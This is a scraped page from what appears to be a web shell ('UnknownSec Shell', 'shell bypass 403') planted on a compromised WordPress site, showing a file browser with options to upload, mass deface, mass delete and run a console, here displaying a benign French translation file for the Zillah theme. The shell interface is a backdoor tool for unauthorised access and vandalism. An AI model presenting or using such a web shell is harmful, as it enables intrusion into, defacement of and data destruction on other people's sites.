shell bypass 403
UnknownSec Shell
:
/
home
/
akwariom
/
www
/
wp-content
/
languages
/
themes
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
zillah-fr_FR.po
# Translation of Themes - Zillah in French (France) # This file is distributed under the same license as the Themes - Zillah package. msgid "" msgstr "" "PO-Revision-Date: 2017-05-29 14:12:03+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n > 1;\n" "X-Generator: GlotPress/2.4.0-alpha\n" "Language: fr\n" "Project-Id-Version: Themes - Zillah\n" #. Description of the theme msgid "Zillah is a free minimal blogging WordPress theme from ThemeIsle. Is responsive and compatible with a wide range of plugins like : Nivo Slider, Siteorigin Page Builder, WooCoomerce, Photo Gallery Grid and Contact Form 7." msgstr "Zillah est un thème WordPress gratuit, minimal et de blog par ThemeIsle. Il est reponsive et compatible avec un large éventail d’extensions comme Nivo Slider, Siteorigin Page Builder, WooCoomerce, Photo Galery Grid et Contact Form 7." #. Theme Name of the theme msgid "Zillah" msgstr "Zillah" #: inc/template-tags.php:147 msgid "Posted:" msgstr "Publication :" #: inc/customizer.php:154 msgid "Show updated date in post header." msgstr "Afficher la date de mise à jour dans l’en-tête de l’article." #. translators: %s: post title #: comments.php:35 msgctxt "comments title" msgid "One thought on “%s”" msgstr "Un commentaire sur “%s”" #. translators: 1: number of comments, 2: post title #: inc/template-tags.php:192 msgctxt "comments title" msgid "%1$s Comment" msgid_plural "%1$s Comments" msgstr[0] "%1$s Commentaire" msgstr[1] "%1$s Commentaires" #. translators: %s: post title #: inc/template-tags.php:188 msgctxt "comments title" msgid "1 Comment" msgstr "1 commentaire" #: inc/customizer.php:74 msgid "If you check this box, the alternative layout will be used on blog and single page." msgstr "Si vous cochez cette case, la mise en page alternative sera utilisée sur le blog et les pages." #: inc/customizer.php:73 msgid "Alternative layout" msgstr "Mise en page alternative" #. translators: s: The post title #: functions.php:343 msgid "Read the post %s" msgstr "Lire l’article %s" #. translators: %s: Name of current post. #: template-parts/content-single-alternative.php:43 #: template-parts/content-single.php:42 msgid "Continue reading %s <span class=\"meta-nav\">→</span>" msgstr "Lire la suite de %s<span class=\"meta-nav\">→</span>" #. translators: %s: Name of current post #: template-parts/content-page.php:36 msgid "Edit %s" msgstr "Modifier %s" #: template-parts/content-page.php:23 template-parts/content-alternative.php:49 #: template-parts/content.php:59 #: template-parts/content-single-alternative.php:56 #: template-parts/content-single.php:55 msgid "Pages:" msgstr "Pages :" #: template-parts/content-none.php:49 msgid "It seems we can’t find what you’re looking for. Perhaps searching can help." msgstr "Il semble que rien ne soit trouvé pour votre recherche." #: template-parts/content-none.php:42 msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords." msgstr "Désolé, mais rien ne correspond à vos critères." #. translators: 1: link to new post #: template-parts/content-none.php:28 msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>." msgstr "Prêt à publier votre 1er article ? <a href=\"%1$s\">Commencez ici</a>." #: template-parts/content-none.php:16 msgid "Sorry, nothing found!" msgstr "Désolé, rien n'a été trouvé" #: single.php:31 msgctxt "next post" msgid "<span class=\"post-title\">%title</span>" msgstr "<span class=\"post-title\">%title</span>" #: single.php:30 msgctxt "previous post" msgid "<span class=\"post-title\">%title</span>" msgstr "<span class=\"post-title\">%title</span>" #: searchform.php:14 msgctxt "submit button" msgid "Search" msgstr "Recherche" #: searchform.php:12 msgctxt "placeholder" msgid "Search …" msgstr "Rechercher …" #: searchform.php:11 searchform.php:12 msgctxt "label" msgid "Search for:" msgstr "Recherche pour :" #. translators: s: search term #: search.php:21 msgid "Search Results for: %s" msgstr "Résultats de recherche pour : %s" #: inc/widgets/class-zillah-about-me.php:108 msgid "Add your text:" msgstr "Ajoutez votre texte :" #: inc/widgets/class-zillah-about-me.php:105 msgid "Enter the URL for your photo" msgstr "Saisissez l'URL pour votre photo" #: inc/widgets/class-zillah-about-me.php:102 msgid "Title:" msgstr "Titre :" #: inc/widgets/class-zillah-about-me.php:25 msgid "Zillah: About me" msgstr "Zillah : A propos de moi" #: inc/widgets/class-zillah-about-me.php:19 msgid "About me widget." msgstr "Widget A propos de moi" #: inc/template-tags.php:169 msgctxt "Used before category names." msgid "Categories" msgstr "Catégories" #: inc/template-tags.php:165 msgctxt "Used between list items, there is a space after the comma." msgid ", " msgstr ", " #. translators: %s: Name of current post #: inc/template-tags.php:68 msgid " Edit %s" msgstr "Modifier %s" #. translators: 1: tags #: inc/template-tags.php:60 msgid "Tagged %1$s" msgstr "Étiqueté %1$s" #. translators: used between list items, there is a space after the comma #: inc/template-tags.php:57 msgid ", " msgstr ", " #. translators: s: post author #: inc/template-tags.php:36 msgctxt "post author" msgid "by %s" msgstr "by %s" #. translators: s: post date #: inc/template-tags.php:30 msgctxt "post date" msgid "Posted on %s" msgstr "Publié le %s" #. translators: 1: feature name 2: Jetpack module name #: inc/class-zillah-theme-plugin-enhancements.php:335 msgid "To use %1$s, please activate the Jetpack plugin’s %2$s." msgstr "Pour utiliser %1$s, veuillez activer l’extension Jetpack %2$s." #: inc/class-zillah-theme-plugin-enhancements.php:309 msgid "Install" msgstr "Installation" #. translators: 1: plugin name 2: install link #: inc/class-zillah-theme-plugin-enhancements.php:307 msgid " Please install %1$s. %2$s" msgstr "Veuillez installer %1$s. %2$s" #: inc/class-zillah-theme-plugin-enhancements.php:298 msgid "Activate" msgstr "Activation" #. translators: 1: plugin name 2: activation link #: inc/class-zillah-theme-plugin-enhancements.php:296 msgid " Please activate %1$s. %2$s" msgstr "Veuillez activer %1$s. %2$s" #: inc/class-zillah-theme-plugin-enhancements.php:225 msgid "Custom Content Types module" msgstr "Module de types de contenu personnalisé" #: inc/class-zillah-theme-plugin-enhancements.php:224 msgid "no specific module needed" msgstr "aucun module spécifique nécessaire" #: inc/class-zillah-theme-plugin-enhancements.php:206 msgid "Social Links" msgstr "Liens sociaux" #: inc/class-zillah-theme-plugin-enhancements.php:197 msgid "Related Posts" msgstr "Articles similaires" #: inc/class-zillah-theme-plugin-enhancements.php:188 msgid "Portfolios" msgstr "Portfolios" #: inc/class-zillah-theme-plugin-enhancements.php:179 msgid "Testimonials" msgstr "Témoignages" #: inc/class-zillah-theme-plugin-enhancements.php:170 msgid "Comics" msgstr "Comics" #: inc/class-zillah-theme-plugin-enhancements.php:161 msgid "Menus" msgstr "Menus" #: inc/class-zillah-theme-plugin-enhancements.php:152 msgid "Social Menu" msgstr "Menu social" #: inc/class-zillah-theme-plugin-enhancements.php:143 msgid "Featured Content" msgstr "Contenu mis en avant" #: inc/class-zillah-theme-plugin-enhancements.php:134 msgid "Site Logo" msgstr "Logo du site" #: inc/class-zillah-theme-plugin-enhancements.php:111 msgid "Simple Contact Form Plugin - PirateForms plugin" msgstr "Extension de formulaire de contact - Extension PirateForms" #. translators: 'Simple Contact Form Plugin - PirateForms plugin' #: inc/class-zillah-theme-plugin-enhancements.php:110 msgid "The %1$s is recommended to use some of this theme’s features." msgstr "%1$s est nécessaire pour utiliser certaines fonctions de ce thème." #: inc/class-zillah-theme-plugin-enhancements.php:101 msgid "Jetpack plugin" msgstr "Extension Jetpack" #. translators: 'Jetpack plugin' #: inc/class-zillah-theme-plugin-enhancements.php:100 msgid "The %1$s is recommended to use some of this theme’s features, including: " msgstr "%1$s est nécessaire pour utiliser certaines fonctions de ce thème telles que :" #: inc/customizer.php:368 msgid "Logo" msgstr "Logo" #: inc/customizer.php:224 msgid "Change the color scheme" msgstr "Changer le jeu de couleur" #: inc/customizer.php:183 msgid "If you check this box, the slider area will appear on the homepage." msgstr "Si vous cochez cette case, la zone de diaporama s’affichera sur l’accueil." #: inc/customizer.php:182 msgid "Show slider" msgstr "Afficher le diaporama" #: inc/customizer.php:165 msgid "Featured content slider" msgstr "Diaporama de contenu mis en avant" #: inc/customizer.php:135 msgid "Get 1st image in the post as featured." msgstr "Mettre en avant la 1ère image dans l’article" #: inc/customizer.php:116 msgid "If you check this box, the tags will appear in posts." msgstr "Si vous cochez cette case, les étiquettes s’afficheront dans les articles." #: inc/customizer.php:115 msgid "Show tags" msgstr "Afficher les étiquettes" #: inc/customizer.php:95 msgid "If you check this box, the sidebar will appear on homepage and archive page." msgstr "Si vous cochez cette case, la zone de diaporama s’affichera sur l’accueil et les archives." #: inc/customizer.php:94 msgid "Show sidebar" msgstr "Afficher la barre" #: inc/customizer.php:56 msgid "Theme options" msgstr "Options du thème" #: inc/customizer.php:45 msgid "Hide Site Title" msgstr "Masquer le titre du site" #: inc/class/class-zillah-category-control.php:24 msgid "— Select —" msgstr "— Choix — " #: inc/class/class-zillah-palette.php:65 inc/class/class-zillah-palette.php:74 msgid "Default" msgstr "Par défaut" #: inc/class/class-zillah-google-fonts-control.php:62 msgid "No fonts to show" msgstr "Aucune police à afficher" #: header.php:28 msgid "Skip to content" msgstr "Aller au contenu" #. translators: s: The post title #: functions.php:334 functions.php:351 msgid "Continue Reading %s" msgstr "Lire la suite de %s" #: functions.php:253 msgid "collapse child menu" msgstr "replier le menu enfant" #: functions.php:252 msgid "expand child menu" msgstr "déplier le menu enfant" #: functions.php:205 msgctxt "Merriweather font: on or off" msgid "on" msgstr "on" #: functions.php:198 msgctxt "Lato font: on or off" msgid "on" msgstr "on" #: functions.php:191 msgctxt "Cabin font: on or off" msgid "on" msgstr "on" #. translators: d: Sidebar number #: functions.php:150 msgid "Footer Widget Area %d" msgstr "Zone de widget de pied %d" #: functions.php:138 functions.php:153 msgid "Add widgets here." msgstr "Ajoutez des widgets ici" #: functions.php:136 sidebar.php:21 msgid "Sidebar" msgstr "Barre" #: functions.php:53 msgid "Social Links Menu" msgstr "Menu de liens sociaux" #: functions.php:52 msgid "Primary" msgstr "Principal" #: footer.php:81 msgid "Back to top" msgstr "Retour en haut" #. translators: s: 'Themeisle' #: footer.php:76 msgid "Themeisle" msgstr "Themeisle" #. translators: 1: s: 'WordPress' #: footer.php:67 msgid "WordPress" msgstr "WordPress" #: comments.php:97 msgid "Comments are closed." msgstr "Commentaires fermés." #: comments.php:59 comments.php:83 msgid "Newer Comments" msgstr "Commentaires plus récents" #: comments.php:58 comments.php:82 msgid "Older Comments" msgstr "Commentaires plus anciens" #: comments.php:55 comments.php:79 msgid "Comment navigation" msgstr "Navigation de commentaire" #: 404.php:23 msgid "It looks like nothing was found at this location. Maybe try one of the links below or a search?" msgstr "Il semble que rien ne soit trouvé à cet emplacement. Peut-être qu’un des liens suivants vous aiderait ." #: 404.php:19 msgid "Oops! That page can’t be found." msgstr "Oups, la page ne peut pas être trouvée." #. translators: 1: number of comments, 2: post title #: comments.php:39 msgctxt "comments title" msgid "%1$s thought on “%2$s”" msgid_plural "%1$s thoughts on “%2$s”" msgstr[0] "%1$s commentaire sur “%2$s”" msgstr[1] "%1$s commentaires sur “%2$s”" #. translators: 1: Link to WordPress.org #: footer.php:65 msgid "Proudly powered by %1$s" msgstr "Fièrement propulsé par %1$s" #. translators: 1: Link to ThemeIsle.com #: footer.php:74 msgid "Theme Zillah by %1$s" msgstr "Thème Zillah par %1$s." #. Author URI of the theme msgid "http://themeisle.com" msgstr "http://themeisle.com" #. Author of the theme msgid "ThemeIsle" msgstr "Themeisle" #. Theme URI of the theme msgid "https://themeisle.com/themes/zillah/" msgstr "https://themeisle.com/themes/zillah/"
© 2026 UnknownSec